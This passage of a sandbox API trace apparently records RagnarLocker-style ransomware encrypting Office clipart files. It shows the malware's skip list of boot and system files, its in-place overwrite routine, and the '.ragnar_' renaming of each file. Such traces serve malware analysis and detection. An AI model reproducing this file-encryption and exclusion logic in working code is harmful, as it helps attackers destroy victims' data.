lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7556) returned 1 [0091.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.681] GetProcessHeap () returned 0x580000 [0091.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.681] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.682] VirtualAlloc (lpAddress=0x0, dwSize=0x1d84, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.683] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d84, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d84, lpOverlapped=0x0) returned 1 [0091.683] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.683] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d84, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.683] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d84, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d84, lpOverlapped=0x0) returned 1 [0091.684] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d84, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.684] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.684] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.684] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.684] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.684] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.684] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.684] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.684] GetProcessHeap () returned 0x580000 [0091.684] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.684] CloseHandle (hObject=0xf4) returned 1 [0091.684] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" [0091.684] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.ragnar_FD7BD9FC" [0091.684] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.685] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5505900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5505900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0xae1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01044_.WMF", cAlternateFileName="")) returned 1 [0091.685] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.685] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01044_.WMF" | out: lpString1="SO01044_.WMF") returned="SO01044_.WMF" [0091.685] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF") returned=".WMF" [0091.685] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.685] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="autorun.inf") returned 1 [0091.685] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="boot.ini") returned 1 [0091.685] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="bootfont.bin") returned 1 [0091.685] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="bootsect.bak") returned 1 [0091.685] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="bootmgr") returned 1 [0091.685] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="bootmgr.efi") returned 1 [0091.685] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.686] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="desktop.ini") returned 1 [0091.686] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="iconcache.db") returned 1 [0091.686] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="ntldr") returned 1 [0091.686] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="ntuser.dat") returned 1 [0091.686] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.686] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="ntuser.ini") returned 1 [0091.686] lstrcmpiW (lpString1="SO01044_.WMF", lpString2="thumbs.db") returned -1 [0091.686] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.686] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.686] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.686] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.686] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.686] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.686] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf")) returned 0x20 [0091.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.686] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=44570) returned 1 [0091.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xae11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.687] GetProcessHeap () returned 0x580000 [0091.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.687] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.688] VirtualAlloc (lpAddress=0x0, dwSize=0xae1a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.688] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xae1a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xae1a, lpOverlapped=0x0) returned 1 [0091.690] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.690] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xae1a, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.690] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xae1a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xae1a, lpOverlapped=0x0) returned 1 [0091.690] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xae1a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.690] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xae1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.691] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.691] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.691] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.691] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.691] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.691] GetProcessHeap () returned 0x580000 [0091.691] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.691] CloseHandle (hObject=0xf4) returned 1 [0091.691] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" [0091.691] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.ragnar_FD7BD9FC" [0091.691] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.692] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98336a00, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98336a00, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x5b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01063_.WMF", cAlternateFileName="")) returned 1 [0091.692] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.692] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01063_.WMF" | out: lpString1="SO01063_.WMF") returned="SO01063_.WMF" [0091.692] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF") returned=".WMF" [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="autorun.inf") returned 1 [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="boot.ini") returned 1 [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="bootfont.bin") returned 1 [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="bootsect.bak") returned 1 [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="bootmgr") returned 1 [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="bootmgr.efi") returned 1 [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="desktop.ini") returned 1 [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="iconcache.db") returned 1 [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="ntldr") returned 1 [0091.692] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="ntuser.dat") returned 1 [0091.693] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.693] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="ntuser.ini") returned 1 [0091.693] lstrcmpiW (lpString1="SO01063_.WMF", lpString2="thumbs.db") returned -1 [0091.693] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.693] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.693] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.693] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.693] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.693] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.693] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf")) returned 0x20 [0091.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.693] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23352) returned 1 [0091.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.693] GetProcessHeap () returned 0x580000 [0091.694] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.694] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.695] VirtualAlloc (lpAddress=0x0, dwSize=0x5b38, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.695] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.695] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.695] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5b38, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5b38, lpOverlapped=0x0) returned 1 [0091.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.697] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b38, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.697] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5b38, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5b38, lpOverlapped=0x0) returned 1 [0091.697] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.697] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.697] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.697] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.697] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.697] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.697] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.697] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.697] GetProcessHeap () returned 0x580000 [0091.697] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.698] CloseHandle (hObject=0xf4) returned 1 [0091.698] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" [0091.698] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.ragnar_FD7BD9FC" [0091.698] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.698] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1075e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01236_.WMF", cAlternateFileName="")) returned 1 [0091.698] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.698] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01236_.WMF" | out: lpString1="SO01236_.WMF") returned="SO01236_.WMF" [0091.698] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF") returned=".WMF" [0091.698] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.698] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="autorun.inf") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="boot.ini") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="bootfont.bin") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="bootsect.bak") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="bootmgr") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="bootmgr.efi") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="desktop.ini") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="iconcache.db") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="ntldr") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="ntuser.dat") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="ntuser.ini") returned 1 [0091.699] lstrcmpiW (lpString1="SO01236_.WMF", lpString2="thumbs.db") returned -1 [0091.699] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.699] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.699] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.699] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.699] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.699] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.699] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf")) returned 0x20 [0091.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.700] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=67422) returned 1 [0091.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10755, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.700] GetProcessHeap () returned 0x580000 [0091.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.700] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.702] VirtualAlloc (lpAddress=0x0, dwSize=0x1075e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 